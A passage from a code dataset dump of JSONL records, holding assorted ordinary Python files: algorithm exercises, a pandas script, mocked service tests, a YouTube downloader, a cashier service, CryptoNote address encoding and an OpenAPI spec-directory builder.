np.math.log10(float(1) / mse)\n\nfor n in range(1, 21):\n mean_image, median_image = job(X, n)\n psnr_mean, psnr_median = psnr(img, mean_image), psnr(img, median_image)\n print(psnr_mean, psnr_median)\n\n if psnr_mean > 20 or psnr_median > 20:\n print(n)\n break\n","sub_path":"week6/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"341991329","text":"words = ['Bag', 'State', 'Cat', 'Night', 'Bat', 'Apple', 'Listen', 'Dusty', 'Thing', 'Act', 'Inch', 'Nest', 'Funeral', 'dog', 'Bird', 'Silent', 'God', 'Chin', 'Study', 'Taste']\n\nanagram_group = {}\n\nfor word in words:\n key = ''.join(sorted(word.lower()))\n value = anagram_group.get(key, [])\n value.append(word)\n anagram_group[key] = value\n\nfor key, value in anagram_group.items():\n if len(value)>1:\n print (value)\n","sub_path":"learning_python3/workshop_june2020/anagram_check.py","file_name":"anagram_check.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"65299536","text":"\"\"\"\nTests for the cooperator service calls.\n\"\"\"\n\nimport json\n\nfrom requests_mock import Mocker\n\nfrom ...services.sifta import SiftaService\n\n\nMOCK_RESPONSE = \"\"\"\n{\"Site\": \"06864000\", \"Date\": \"6/19/2018\", \"Customers\":[{\"Name\":\"Kansas Water Office\",\"URL\":\"http://www.kwo.org/\",\"IconURL\":\"http://water.usgs.gov/customer/icons/6737.gif\"},{\"Name\":\"USGS - Cooperative Matching Funds\",\"URL\":\"http://water.usgs.gov/coop/\",\"IconURL\":\"http://water.usgs.gov/customer/icons/usgsIcon.gif\"}]}\n\"\"\"\nMOCK_CUSTOMER_LIST = json.loads(MOCK_RESPONSE)['Customers']\n\nENDPOINT = 'https://www.fakesifta.gov/'\n\n\ndef test_sifta_response():\n sifta_service = SiftaService(ENDPOINT)\n with Mocker(session=sifta_service.session) as session_mock:\n session_mock.get(f'{ENDPOINT}12345', text=MOCK_RESPONSE)\n result = sifta_service.get_cooperators('12345')\n\n assert session_mock.call_count == 1\n assert result == MOCK_CUSTOMER_LIST, 'Expected response'\n\n\ndef test_sifta_handling_bad_status_code():\n sifta_service = SiftaService(ENDPOINT)\n with Mocker(session=sifta_service.session) as session_mock:\n session_mock.get(f'{ENDPOINT}12345', status_code=500)\n result = sifta_service.get_cooperators('12345')\n\n assert session_mock.call_count == 1\n assert result == []\n","sub_path":"wdfn-server/waterdata/tests/services/test_sifta.py","file_name":"test_sifta.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"341036715","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\n\ntry:\n from distutils2.core import setup\nexcept:\n try:\n from distutils.core import setup\n except:\n from setuptools import setup\n\nPACKAGE = 'pyral'\nVERSION = '1.1.1'\nOFFICIAL_NAME = 'Python toolkit for Rally REST API'\nPKG_URL_NAME = 'python-toolkit-rally-rest-api'\nAUTHOR = 'Kip Lehman (Rally Software Development)'\nAUTHOR_EMAIL = 'klehman@rallydev.com'\nGITHUB_SITE = 'https://github.com/RallyTools/RallyRestToolkitForPython'\nGITHUB_DISTS = '%s/blob/master/dists' % GITHUB_SITE\nDOWNLOADABLE_ZIP = '%s/%s-%s.zip' % (GITHUB_DISTS, PACKAGE, VERSION)\n\nMINIMUM_REQUESTS_VERSION = '2.0.0'\n\nsetup(name=PACKAGE,\n version=VERSION,\n description=OFFICIAL_NAME,\n author=AUTHOR,\n author_email=AUTHOR_EMAIL,\n url=GITHUB_SITE,\n download_url=DOWNLOADABLE_ZIP,\n long_description=open('README.rst').read(),\n packages=[PACKAGE],\n license='BSD',\n requires=[\"python (< 3.0)\"],\n #install_requires=['requests>=%s' % MINIMUM_REQUESTS_VERSION],\n classifiers=[\n 'Development Status :: 5 - Production/Stable',\n 'Environment :: Web Environment',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n 'Topic :: Internet :: WWW/HTTP',\n 'Topic :: Software Development :: Libraries',\n ],\n #documentation='http://readthedocs.org/docs/pyral'\n )\n \n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"191191108","text":"#\n# @lc app=leetcode id=200 lang=python3\n#\n# [200] Number of Islands\n#\n# https://leetcode.com/problems/number-of-islands/description/\n#\n# algorithms\n# Medium (39.17%)\n# Total Accepted: 265.5K\n# Total Submissions: 677.7K\n# Testcase Example: '[[\"1\",\"1\",\"1\",\"1\",\"0\"],[\"1\",\"1\",\"0\",\"1\",\"0\"],[\"1\",\"1\",\"0\",\"0\",\"0\"],[\"0\",\"0\",\"0\",\"0\",\"0\"]]'\n#\n# Given a 2d grid map of '1's (land) and '0's (water), count the number of\n# islands. An island is surrounded by water and is formed by connecting\n# adjacent lands horizontally or vertically. You may assume all four edges of\n# the grid are all surrounded by water.\n# \n# Example 1:\n# \n# \n# Input:\n# 11110\n# 11010\n# 11000\n# 00000\n# \n# Output: 1\n# \n# \n# Example 2:\n# \n# \n# Input:\n# 11000\n# 11000\n# 00100\n# 00011\n# \n# Output: 3\n# \n#\nfrom collections import deque\n\nclass Solution:\n def numIslands(self, grid):\n \"\"\"\n :type grid: List[List[str]]\n :rtype: int\n \"\"\"\n if len(grid) == 0:\n return 0\n self.h = len(grid)\n self.w = len(grid[0])\n res = 0\n for i in range(self.h):\n for j in range(self.w):\n if grid[i][j] == '1':\n self.bfs(x=i, y=j, grid=grid)\n res += 1\n return res\n \n def bfs(self, x, y, grid):\n queue = deque([(x, y)])\n grid[x][y] = '0'\n while queue:\n x, y = queue.popleft()\n for delate_x, delate_y in [(1, 0), (-1, 0), (0, 1), (0, -1)]:\n next_x = x + delate_x\n next_y = y + delate_y\n if not self.judge(x=next_x, y=next_y, grid=grid):\n continue\n grid[next_x][next_y] = '0'\n if (next_x, next_y) not in queue:\n queue.append((next_x, next_y))\n \n def judge(self, x, y, grid):\n return (x >= 0 and x < self.h) and (y >=0 and y < self.w) and grid[x][y] == '1'\n","sub_path":"Breadth-first Search/medium/200.number-of-islands.py","file_name":"200.number-of-islands.py","file_ext":"py","file_size_in_byte":1916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"379002256","text":"# coding:utf8\n\nimport pandas\nfrom pandas import read_csv\n\ndf = read_csv(\n \"E:\\Workspace\\idata\\lab_data_analysis\\data\\lab25_01\\data.csv\",\n encoding=\"utf8\"\n)\n\n# 读取csv,修改date列为时间型数据,并作为index\ndataparse = lambda dates: pandas.datetime.strptime(dates, \"%Y%m%d\")\n\ndf = read_csv(\n \"E:\\Workspace\\idata\\lab_data_analysis\\data\\lab25_01\\data.csv\",\n parse_dates=[\"date\"],\n date_parser=dataparse,\n index_col=\"date\",\n encoding=\"utf8\"\n)\n\n# 根据时间索引\nimport datetime\n\ndt1 = datetime.date(year=2016, month=2, day=1)\ndt2 = datetime.date(year=2016, month=2, day=5)\n\n# 从dt1到dt2的时间索引\ndf.ix[dt1:dt2]\n# 等于dt1或dt2的时间索引\ndf.ix[[dt1, dt2]]\n\n# 根据时间列进行抽取\ndf = read_csv(\n \"E:\\Workspace\\idata\\lab_data_analysis\\data\\lab25_01\\data.csv\",\n parse_dates=[\"date\"],\n date_parser=dataparse,\n encoding=\"utf8\"\n)\n\n# dt1和dt2之间\ndf[(df.date >= dt1) & (df.date <= dt2)]\n","sub_path":"lab_data_analysis/lab25_01.py","file_name":"lab25_01.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"223710119","text":"import requests\nimport re\nfrom bs4 import BeautifulSoup\nimport youtube_dl # pip install --upgrade youtube-dl\n\n\ndef list_download(mp4_list):\n for mp4 in mp4_list:\n ydl_opts = {}\n with youtube_dl.YoutubeDL(ydl_opts) as ydl:\n ydl.download([mp4])\n\n\ndef single_download(single_url):\n try:\n list_download([single_url])\n except requests.exceptions.MissingSchema:\n print(\"올바른 url이 아닙니다. ex) https://www.youtube.com/watch?v=hy0rMH2yeg8\")\n except KeyboardInterrupt:\n print(\"Keybaord에 의해 중단되었습니다.\")\n\n\ndef parsing_list(playlist_url):\n try:\n resp = requests.get(playlist_url).text\n soup = BeautifulSoup(resp, 'lxml')\n\n youtube_url = \"https://www.youtube.com\"\n for link in soup.select('.yt-uix-sessionlink'):\n if \"watch\" in link.get('href'):\n if link.get('title') is not None:\n print(link.get('title'),\"\\n\",\"- \"+youtube_url + link.get('href'))\n mp4_list.append(youtube_url+link.get('href'))\n\n mp4_list_count = len(mp4_list)\n user_question = str(input(\"총 {} 개의 영상이 있습니다. 모두 다운로드 하시겠습니까? [Y/N]: \".format(mp4_list_count)))\n print(user_question)\n if user_question == \"y\" or user_question == \"Y\":\n print(\"중간에 멈추려면 ctrl+c를 입력하세요.\")\n list_download(mp4_list)\n else:\n print(\"프로그램을 멈추겠습니다.\")\n except requests.exceptions.MissingSchema:\n print(\"올바른 url이 아닙니다. ex) https://www.youtube.com/user/goodboy1384/videos\")\n except KeyboardInterrupt:\n print(\"Keybaord에 의해 중단되었습니다.\")\n\nif __name__ == \"__main__\":\n # playlist_url = \"https://www.youtube.com/user/goodboy1384/videos\"\n # single_url = \"https://www.youtube.com/watch?v=hy0rMH2yeg8\"\n mp4_list = []\n user_option = input(\"재생목록으로 다운로드 하려면 'Y', 개별 영상 URL로 다운로드 하려면 'N'을 입력해주세요. \\n: \")\n if user_option == (\"y\" or \"Y\"):\n playlist_url = str(input(\"=\"*40+\"\\n\"+\"youtube 재생목록 url을 입력하세요.\"+\"\\n\"+\"ex) https://www.youtube.com/user/goodboy1384/videos\"+\"\\n\"+\"=\"*40+\"\\n\"+\":\"))\n parsing_list(playlist_url)\n else:\n single_url = str(input(\"=\"*40+\"\\n\"+\"youtube 개별영상 url을 입력하세요.\"+\"\\n\"+\"ex) https://www.youtube.com/watch?v=hy0rMH2yeg8\"+\"\\n\"+\"=\"*40+\"\\n\"+\":\"))\n single_download(single_url)\n","sub_path":"youtube_playlist_downolad.py","file_name":"youtube_playlist_downolad.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"646864863","text":"\n\nfrom xai.brain.wordbase.verbs._stimulate import _STIMULATE\n\n#calss header\nclass _STIMULATED(_STIMULATE, ):\n\tdef __init__(self,): \n\t\t_STIMULATE.__init__(self)\n\t\tself.name = \"STIMULATED\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"stimulate\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_stimulated.py","file_name":"_stimulated.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"546426039","text":"from ..custom_errors import MissingKeyError, RequiredKeyError, NotFoundError\nfrom ..models import CashierModel\nfrom .helper import (\n add_commit,\n delete_commit,\n get_all,\n get_one,\n update_model,\n verify_missing_key,\n verify_recieved_keys,\n)\n\n\nclass CashierServices:\n\n required_fields = [\"initial_value\", \"balance\"]\n withdrawal_required_fields = [\"value\"]\n\n @staticmethod\n def create_cashier(data: dict):\n\n if verify_missing_key(data, CashierServices.required_fields):\n raise MissingKeyError(data, CashierServices.required_fields)\n\n if verify_recieved_keys(data, CashierServices.required_fields):\n raise RequiredKeyError(data, CashierServices.required_fields)\n\n cashier = CashierModel(**data)\n\n add_commit(cashier)\n\n return get_one(CashierModel, cashier.id)\n\n\n @staticmethod\n def get_all_cashiers():\n\n return get_all(CashierModel)\n\n\n @staticmethod\n def get_by_id(id):\n\n cashier = get_one(CashierModel, id)\n\n if not cashier:\n raise NotFoundError\n\n return cashier\n\n\n @staticmethod\n def update_cashier(data: dict, id):\n\n if verify_recieved_keys(data, CashierServices.required_fields):\n raise RequiredKeyError(data, CashierServices.required_fields)\n\n if not get_one(CashierModel, id):\n raise NotFoundError\n\n cashier = get_one(CashierModel, id)\n update_model(cashier, data)\n\n return get_one(CashierModel, id)\n\n\n @staticmethod\n def delete_cashier(id: int) -> None:\n\n if not get_one(CashierModel, id):\n raise NotFoundError\n\n cashier = get_one(CashierModel, id)\n delete_commit(cashier)\n\n\n @staticmethod\n def cash_balance(id):\n\n cashier: CashierModel = get_one(CashierModel, id)\n\n if not cashier:\n raise NotFoundError\n\n update_model(cashier, {\"balance\": cashier.update_balance_all_bills()})\n\n return cashier\n\n\n @staticmethod\n def cash_withdrawal(data: dict, id):\n\n if verify_missing_key(data, CashierServices.withdrawal_required_fields):\n raise MissingKeyError(data, CashierServices.withdrawal_required_fields)\n\n if verify_recieved_keys(data, CashierServices.withdrawal_required_fields):\n raise RequiredKeyError(data, CashierServices.withdrawal_required_fields)\n\n cashier: CashierModel = get_one(CashierModel, id)\n\n if not cashier:\n raise NotFoundError\n\n cashier.remove_from_balance(value=data[\"value\"])\n update_model(cashier, {\"balance\": cashier.balance})\n\n return cashier","sub_path":"app/services/cashier_service.py","file_name":"cashier_service.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"252709794","text":"import heapq\nimport string\nfrom collections import Counter\nclass Solution:\n \"\"\"\n @param paragraph:\n @param banned:\n @return: nothing\n \"\"\"\n def mostCommonWord(self, paragraph, banned):\n #\n\n for c in string.punctuation:\n paragraph = paragraph.replace(c,'')\n paragraph = paragraph.lower().split()\n banned = set(banned)\n count = Counter(w for w in paragraph if w not in banned).most_common(1)[0][0]\n # print(count)\n return count\n\na = Solution()\nprint(a.mostCommonWord(\"abc abc? abcd the jeff!\",\n[\"abc\",\"abcd\",\"jeff\"]))\n#\n\n\n\nmostCommonWord(\"abc abc? abcd the jeff!\",[\"abc\",\"abcd\"])","sub_path":"visa/lintcode1369.py","file_name":"lintcode1369.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"636681728","text":"\"\"\"Address file. Handles address encoding and decoding.\"\"\"\n\n# Types.\nfrom typing import Tuple, Optional, Any\n\n# Keccak hash function.\nfrom Cryptodome.Hash import keccak\n\n# Crypto class.\nfrom cryptonote.crypto.crypto import Crypto\n\n# Base58 Character Set.\nBASE58: str = \"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz\"\n\n# AddressError.\nclass AddressError(Exception):\n \"\"\"AddressError Exception. Used when an invalid address is parsed.\"\"\"\n\n\n# Address class.\nclass Address:\n \"\"\"Contains address info and the serialized address.\"\"\"\n\n def __init__(\n self,\n crypto: Crypto,\n key_pair: Tuple[bytes, bytes],\n payment_id: Optional[bytes] = None,\n network_byte: Optional[bytes] = None,\n address: Optional[str] = None,\n ) -> None:\n \"\"\"Converts a ViewKey and a SpendKey into an address.\"\"\"\n\n # Verify the data lengths\n if len(crypto.network_bytes) not in {2, 3}:\n raise Exception(\"Invalid network bytes.\")\n if (len(key_pair[0]) != 32) or (len(key_pair[1]) != 32):\n raise Exception(\"Invalid key pair length.\")\n if (payment_id is not None) and (\n len(payment_id) not in crypto.payment_id_lengths\n ):\n raise Exception(\"Invalid payment ID.\")\n\n self.network: bytes\n self.view_key: bytes = key_pair[0]\n self.spend_key: bytes = key_pair[1]\n self.payment_id: Optional[bytes] = payment_id\n\n # If we were passed in an address, verify it against the regex.\n if address is not None:\n # Require a network byte was also specified.\n if network_byte is None:\n raise Exception(\"Address parsed without a specified network byte.\")\n\n if (not crypto.address_regex.match(address)) and (\n not crypto.integrated_address_regex.match(address)\n ):\n raise Exception(\"Invalid address used in constructor override.\")\n\n # Set the network byte, address type, and address. Then return.\n self.network = network_byte\n self.address: str = address\n return\n\n # If there's a payment ID, set the network byte to integrated address.\n # Else, set it to subaddress if there is a subaddress byte.\n # Else, set it to regular address.\n if self.payment_id is not None:\n self.network = crypto.network_bytes[1]\n else:\n if len(crypto.network_bytes) == 3:\n self.network = crypto.network_bytes[2]\n else:\n self.network = crypto.network_bytes[0]\n\n # If a network byte was specified, despite an address not being specified, use that.\n if network_byte is not None:\n self.network = network_byte\n if self.network not in crypto.network_bytes:\n raise Exception(\"Address doesn't have a valid network byte.\")\n\n # Get the data to be encoded.\n data: bytes = self.network\n if (self.payment_id is not None) and crypto.payment_id_leading:\n data += self.payment_id\n data += self.spend_key + self.view_key\n if (self.payment_id is not None) and (not crypto.payment_id_leading):\n data += self.payment_id\n\n # Add the checksum.\n checksum_hash: Any = keccak.new(digest_bits=256)\n checksum_hash.update(data)\n data += checksum_hash.digest()[0:4]\n\n # Convert the bytes to Base58.\n result: str = \"\"\n for i in range(0, len(data), 8):\n block: bytes = data[i : i + 8]\n blockInt: int = int.from_bytes(block, byteorder=\"big\")\n blockStr: str = \"\"\n\n remainder: int\n while blockInt > 0:\n remainder = blockInt % 58\n blockInt = blockInt // 58\n blockStr += BASE58[remainder]\n\n # Pad the block as needed.\n if len(block) == 8:\n while len(blockStr) < 11:\n blockStr += BASE58[0]\n elif len(block) == 5:\n while len(blockStr) < 7:\n blockStr += BASE58[0]\n\n result += blockStr[::-1]\n\n # Set the address.\n self.address: str = result\n\n @staticmethod\n def parse(crypto: Crypto, address: str) -> Any:\n \"\"\"\n Parse an address and extract the contained info.\n Raises AddressError if it fails to parse the address.\n \"\"\"\n\n # Check the address against the regex.\n if (not crypto.address_regex.match(address)) and (\n not crypto.integrated_address_regex.match(address)\n ):\n raise AddressError(\"Invalid address.\")\n\n # Convert the Base58 to bytes.\n data: bytes = bytes()\n for i in range(0, len(address), 11):\n blockStr: str = address[i : i + 11]\n blockInt: int = 0\n\n multi = 1\n for char in blockStr[::-1]:\n blockInt += multi * BASE58.index(char)\n multi = multi * 58\n\n if len(blockStr) == 11:\n data += blockInt.to_bytes(8, byteorder=\"big\")\n elif len(blockStr) == 7:\n data += blockInt.to_bytes(5, byteorder=\"big\")\n\n # Extract the payment ID and checksum.\n payment_id: Optional[bytes]\n if crypto.payment_id_leading:\n payment_id = data[crypto.network_byte_length : -68]\n else:\n payment_id = data[(crypto.network_byte_length + 64) : -4]\n if not payment_id:\n payment_id = None\n checksum: bytes = data[-4:]\n\n # Check the checksum.\n checksum_hash: Any = keccak.new(digest_bits=256)\n checksum_hash.update(data[0:-4])\n if checksum_hash.digest()[0:4] != checksum:\n raise AddressError(\"Invalid address checksum.\")\n\n # Verify the network byte is valid.\n network_byte: bytes = data[0 : crypto.network_byte_length]\n if (network_byte not in crypto.network_bytes) or (\n (payment_id is not None) and (network_byte != crypto.network_bytes[1])\n ):\n raise AddressError(\"Address doesn't have a valid network byte.\")\n\n # Return the Address.\n view_key: bytes\n spend_key: bytes\n if crypto.payment_id_leading:\n view_key = data[-36:-4]\n spend_key = data[-68:-36]\n else:\n view_key = data[\n (crypto.network_byte_length + 32) : (crypto.network_byte_length + 64)\n ]\n spend_key = data[\n crypto.network_byte_length : (crypto.network_byte_length + 32)\n ]\n return Address(\n crypto,\n (view_key, spend_key),\n payment_id,\n network_byte,\n address,\n )\n\n def __eq__(self, other: Any) -> bool:\n \"\"\"Equality operator. Used by the tests.\"\"\"\n\n if (\n (not isinstance(other, Address))\n or (self.network != other.network)\n or (self.view_key != other.view_key)\n or (self.spend_key != other.spend_key)\n or (self.payment_id != other.payment_id)\n or (self.address != other.address)\n ):\n return False\n return True\n\n def __str__(self):\n return self.address\n","sub_path":"cryptonote/classes/wallet/address.py","file_name":"address.py","file_ext":"py","file_size_in_byte":7293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"602890989","text":"import sys\r\n\r\nimport traceback\r\nfrom xml.dom import minidom\r\n\r\ndefault_document = minidom.Document()\r\n\r\n\r\ndef createElementContent(name, content):\r\n if type(content) != str:\r\n content = str(content)\r\n ans = default_document.createElement(name)\r\n text = default_document.createTextNode(content)\r\n ans.appendChild(text)\r\n return ans\r\n\r\n\r\ndef createCDataContent(name, content):\r\n ans = default_document.createElement(name)\r\n text = default_document.createCDATASection(str(content))\r\n ans.appendChild(text)\r\n return ans\r\n\r\n\r\nclass Xmleable(object):\r\n doc = default_document.createTextNode(\"Empty\")\r\n\r\n def fix_values(self):\r\n pass\r\n\r\n def generate_doc(self):\r\n pass\r\n\r\n def validate(self, erros, observs):\r\n pass\r\n\r\n def check_validation(self, errors, observs):\r\n try:\r\n self.fix_values()\r\n except Exception as e:\r\n errors.append({\r\n \"code\": 0,\r\n \"detail\": \"Error fixing values on \" + str(self.__class__) + \". \" + str(e)\r\n })\r\n try:\r\n self.validate(errors, observs)\r\n except AssertionError:\r\n _, _, tb = sys.exc_info()\r\n traceback.print_tb(tb) # Fixed format\r\n tb_info = traceback.extract_tb(tb)\r\n filename, line, func, text = tb_info[-1]\r\n print('An error occurred on line {} in statement {}'.format(line, text))\r\n except Exception as e:\r\n _, _, tb = sys.exc_info()\r\n traceback.print_tb(tb) # Fixed format\r\n tb_info = traceback.extract_tb(tb)\r\n filename, line, func, text = tb_info[-1]\r\n print('An error occurred on line {} in statement {}'.format(line, text))\r\n errors.append({\r\n \"code\": 0,\r\n \"detail\": \"Error validating errors on \" + str(self.__class__) + \": \" + str(e)\r\n })\r\n\r\n for _, v in self.__dict__.items():\r\n if v is None:\r\n continue\r\n if type(v) == list:\r\n for x in v:\r\n if issubclass(x.__class__, Xmleable):\r\n x.check_validation(errors, observs)\r\n elif issubclass(v.__class__, Xmleable):\r\n v.check_validation(errors, observs)\r\n\r\n def get_document(self):\r\n self.fix_values()\r\n self.generate_doc()\r\n return self.doc\r\n","sub_path":"addons/gestionit_pe_fe/models/account/api_facturacion/efact21/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"231690847","text":"import typing\nimport enum\nimport os\nimport re\nimport json\n\nimport yaml\n\nfrom .utils import dict_to_str\n\n\n@enum.unique\nclass FileFormat(enum.Enum):\n json = \"json\"\n yaml = \"yaml\"\n\n\nclass SpecDir(object):\n\n PATH_PATTERN = re.compile(r\"^[\\w/{}._]+$\")\n DEF_PATTERN = re.compile(r\"^[\\w_]+$\")\n\n def __init__(self, root: str, default_format: str = None):\n self.root: str = os.path.abspath(root)\n self.meta: Meta = Meta(self)\n self.format: str = self.meta.determine_format(default_format)\n\n # functions\n\n def exists(self):\n return self.meta.exists()\n\n def abspath(self, *args):\n args = [f\"./{arg}\" for arg in args]\n return os.path.abspath(os.path.join(self.root, *args))\n\n def to_str(self, spec: dict) -> str:\n return dict_to_str(spec, self.format)\n\n def to_spec(self, content: str) -> dict:\n if self.format == FileFormat.yaml.value:\n return yaml.load(content, Loader=yaml.FullLoader)\n else:\n return json.loads(content)\n\n def write_file(self, spec: dict, file_path: str):\n os.makedirs(os.path.dirname(file_path), exist_ok=True)\n file_handle = open(file_path, \"w+\")\n file_handle.write(self.to_str(spec))\n file_handle.close()\n\n def read_file(self, file_path: str):\n file_handle = open(file_path, \"r\")\n content_str = file_handle.read()\n file_handle.close()\n return self.to_spec(content_str)\n\n def definitions(self) -> typing.List[\"Definition\"]:\n return [\n self.get_definition(name)\n for name in get_file_names(self.abspath(Definition.DEFINITIONS))\n ]\n\n def get_definition(self, name_or_filename):\n name = name_or_filename.split(\".\")[0]\n return Definition(self, name)\n\n def get_definition_map(self):\n return dict([(d.name, d) for d in self.definitions()])\n\n def paths(self) -> typing.List[\"Path\"]:\n paths = []\n paths_root = self.abspath(Path.PATHS)\n for path, _, file_names in os.walk(paths_root):\n if file_names:\n url = path[len(paths_root) :] # noqa E203\n paths.append(self.get_path(url))\n return paths\n\n def get_path(self, url: str) -> \"Path\":\n return Path(self, url)\n\n def find_definitions(self, spec: dict):\n for (key, value_) in spec.items():\n # (clever code warning) support descent into lists\n value_ = value_ if isinstance(value_, list) else [value_]\n\n for value in value_:\n if key == \"$ref\" and isinstance(value, str) and value:\n yield value.split(\"/\")[-1]\n\n elif isinstance(value, dict):\n for definition in self.find_definitions(value):\n yield definition\n\n def paths_as_dict(self, targets):\n paths = {}\n found_definitions = set()\n all_ops = targets == set()\n\n for path in self.paths():\n path_spec = {}\n\n for operation in path.operations():\n op_spec = operation.read()\n op_targets = op_spec.pop(\"targets\", set())\n if all_ops or (targets.intersection(op_targets)):\n path_spec[operation.method] = op_spec\n found_definitions.update(self.find_definitions(op_spec))\n\n if path_spec:\n # to allow for trailing forward slash, include #fs at end\n url = path.url.replace(\"#fs\", \"/\").replace(\"\\\\\", \"/\")\n paths[url] = path_spec\n\n return paths, found_definitions\n\n def definitions_as_dict(self, found_definitions):\n all_definitions = self.get_definition_map()\n result = {}\n next_round = found_definitions\n\n while next_round:\n this_round = next_round\n next_round = set()\n for name in this_round:\n try:\n def_spec = all_definitions.get(name).read()\n result[name] = def_spec\n except AttributeError: # pragma: no cover\n raise RuntimeError(f\"Failed to load definition: {name}\")\n\n for found_name in self.find_definitions(def_spec):\n if found_name not in result:\n next_round.add(found_name)\n\n return result\n\n def as_dict(self, targets=None):\n targets = set(targets or [])\n spec = self.meta.read()\n (spec[\"paths\"], found_definitions) = self.paths_as_dict(targets)\n spec[\"definitions\"] = self.definitions_as_dict(found_definitions)\n return spec\n\n def as_str(self, format, targets=None):\n return dict_to_str(self.as_dict(targets), format)\n\n\nclass Meta(object):\n\n FNAME = \"specd\"\n\n def __init__(self, spec_dir: SpecDir):\n self.spec_dir = spec_dir\n\n def determine_format(self, default_format: str) -> str:\n \"\"\" Returns format based on meta file, then default, then yaml. \"\"\"\n is_json = os.path.exists(self.spec_dir.abspath(f\"{self.FNAME}.json\"))\n is_yaml = os.path.exists(self.spec_dir.abspath(f\"{self.FNAME}.yaml\"))\n assert not (is_json and is_yaml), \"Corrupt: multiple meta files found.\"\n return (\n (is_json and FileFormat.json.value)\n or (is_yaml and FileFormat.yaml.value)\n or default_format\n or FileFormat.yaml.value\n )\n\n @property\n def file_name(self):\n return f\"{self.FNAME}.{self.spec_dir.format}\"\n\n @property\n def file_path(self):\n return self.spec_dir.abspath(self.file_name)\n\n def exists(self):\n return os.path.exists(self.file_path)\n\n def write(self, spec: dict):\n self.spec_dir.write_file(spec=spec, file_path=self.file_path)\n\n def read(self):\n spec = self.spec_dir.read_file(file_path=self.file_path)\n if \"schemes\" not in spec:\n spec[\"schemes\"] = [\"https\", \"http\"]\n return spec\n\n\nclass Path(object):\n\n PATHS = \"paths\"\n\n def __init__(self, spec_dir: SpecDir, url: str):\n self.spec_dir = spec_dir\n self.url = url\n\n @property\n def abspath(self):\n return self.spec_dir.abspath(self.PATHS, self.url)\n\n def operations(self):\n return list(\n filter(\n None,\n [\n self.get_operation(method)\n for method in get_file_names(self.abspath)\n ],\n )\n )\n\n def get_operation(self, method_or_filename):\n method = method_or_filename.split(\".\")[0]\n if method in {\"get\", \"delete\", \"patch\", \"put\", \"post\"}:\n return Operation(self.spec_dir, self, method)\n\n @property\n def methods(self):\n return \", \".join(sorted([op.method for op in self.operations()]))\n\n\nclass Operation(object):\n def __init__(self, spec_dir: SpecDir, path: Path, method: str):\n self.spec_dir = spec_dir\n self.path = path\n self.method = method\n\n @property\n def file_name(self):\n return f\"{self.method}.{self.spec_dir.format}\"\n\n @property\n def file_path(self):\n return self.spec_dir.abspath(Path.PATHS, self.path.url, self.file_name)\n\n def exists(self):\n return os.path.exists(self.file_path)\n\n def write(self, spec: dict):\n self.spec_dir.write_file(spec=spec, file_path=self.file_path)\n\n def read(self):\n return self.spec_dir.read_file(file_path=self.file_path)\n\n def merge(self, spec: dict):\n original = self.read()\n merged = dict(merge_dicts(original, spec))\n self.write(merged)\n\n\nclass Definition(object):\n\n DEFINITIONS = \"definitions\"\n\n def __init__(self, spec_dir: SpecDir, name: str):\n self.spec_dir = spec_dir\n self.name = name\n\n @property\n def file_name(self):\n return f\"{self.name}.{self.spec_dir.format}\"\n\n @property\n def file_path(self):\n return self.spec_dir.abspath(self.DEFINITIONS, self.file_name)\n\n def exists(self):\n return os.path.exists(self.file_path)\n\n def write(self, spec: dict):\n self.spec_dir.write_file(spec=spec, file_path=self.file_path)\n\n def read(self):\n return self.spec_dir.read_file(file_path=self.file_path)\n\n def merge(self, spec: dict):\n original = self.read()\n merged = dict(merge_dicts(original, spec))\n self.write(merged)\n\n\ndef get_file_names(abspath):\n os.makedirs(abspath, exist_ok=True)\n return [\n fn\n for fn in os.listdir(abspath)\n if os.path.isfile(os.path.join(abspath, fn))\n ]\n\n\ndef merge_dicts(dict1, dict2):\n \"\"\" https://stackoverflow.com/a/7205672/1946790 \"\"\"\n for k in set(dict1.keys()).union(dict2.keys()):\n if k in dict1 and k in dict2:\n if isinstance(dict1[k], dict) and isinstance(dict2[k], dict):\n yield (k, dict(merge_dicts(dict1[k], dict2[k])))\n else:\n yield (k, dict2[k])\n elif k in dict1:\n yield (k, dict1[k])\n else:\n yield (k, dict2[k])\n\n\ndef create_spec_dict(\n specd_path: str,\n targets: list = None,\n host: str = None,\n schemes: list = None,\n):\n\n spec_dict = SpecDir(specd_path).as_dict(targets=targets)\n\n if host:\n spec_dict[\"host\"] = host\n\n if schemes:\n spec_dict[\"schemes\"] = schemes\n\n return 